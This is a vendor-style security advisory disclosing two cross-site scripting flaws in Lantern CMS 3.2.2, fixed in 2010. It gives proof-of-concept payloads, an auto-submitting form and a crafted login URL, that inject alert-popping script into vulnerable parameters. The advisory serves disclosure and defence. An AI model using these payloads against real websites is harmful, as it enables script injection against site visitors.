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Cross-site Scripting (XSS) Vulnerabilities in Lantern CMS

Advisory ID:HTB22620
Product:Lantern CMS
Vendor:Lantern
Vulnerable Versions:3.2.2 and probably prior and probably prior
Tested Version:3.2.2 and probably prior
Advisory Publication:September 22, 2010 [without technical details]
Vendor Notification:September 22, 2010
Vendor Fix:October 6, 2010
Public Disclosure:October 6, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Lantern CMS which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in Lantern CMS
1.1 The vulnerability exists due to input sanitation error in the "signupemail" parameter in www/html/7-home-page.asp. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form method="POST" name="m" action="http://host/www/html/7-home-page.asp">
<input type="hidden" name="signupemail" value="%27%22%3E%3Cimg+src%3Dx+onerror%3Dalert%2834%29%3E">
<input type="hidden" name="signupsubmit" value="Submit">
</form>
<script>
document.m.submit();
</script>

1.2 The vulnerability exists due to input sanitation error in the "intPassedLocationID"parameter in www/html/11-login.asp. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/www/html/11-login.asp?intPassedLocationID=57%27%22%3E%3Cscript%3 Ealert%2834%29%3C/script %3E

How to Detect Cross-Site Scripting Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
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Solution:
Upgrade to the most recent version


References:
[1] High-Tech Bridge Advisory HTB22620 - https://www.immuniweb.com/advisory/HTB22620 - Cross-site Scripting (XSS) Vulnerabilities in Lantern CMS
[2] Lantern CMS - lanterncms.com - Lantern CMS has been built with one goal in mind: to make managing your website a pleasure.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
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